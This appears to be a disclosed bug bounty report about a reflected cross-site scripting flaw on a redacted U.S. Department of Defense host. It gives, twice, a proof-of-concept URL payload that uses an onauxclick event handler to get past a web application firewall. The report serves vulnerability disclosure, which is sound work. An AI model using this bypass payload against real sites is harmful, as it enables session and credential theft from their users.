HexBrain

U.S. Dept Of Defense · Report #1736433

Reflected XSS | https://████████

Validstatus
mediumseverity
5upvotes
18 Nov 2022disclosed

How it was found

Summary

Hi team, there's a reflected XSS on https://████ using the plot param. There's a WAF in place but it's possible to bypass it. Steps to reproduce

  1. Click https://██████████/fcgi-bin/getplot.py?plot=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE
  2. Observe the popup showing document.domain when right clicking "RIGHT CLICK HERE"

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Impact

The attacker can trigger remote code execution on the victim’s browser, and steal credentials, sessions, and potentially send malware to the victim.

System Host(s)

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Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

  1. Click https://████████/fcgi-bin/getplot.py?plot=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE
  2. Observe the popup showing document.domain when right clicking "RIGHT CLICK HERE"

Suggested Mitigation/Remediation Actions

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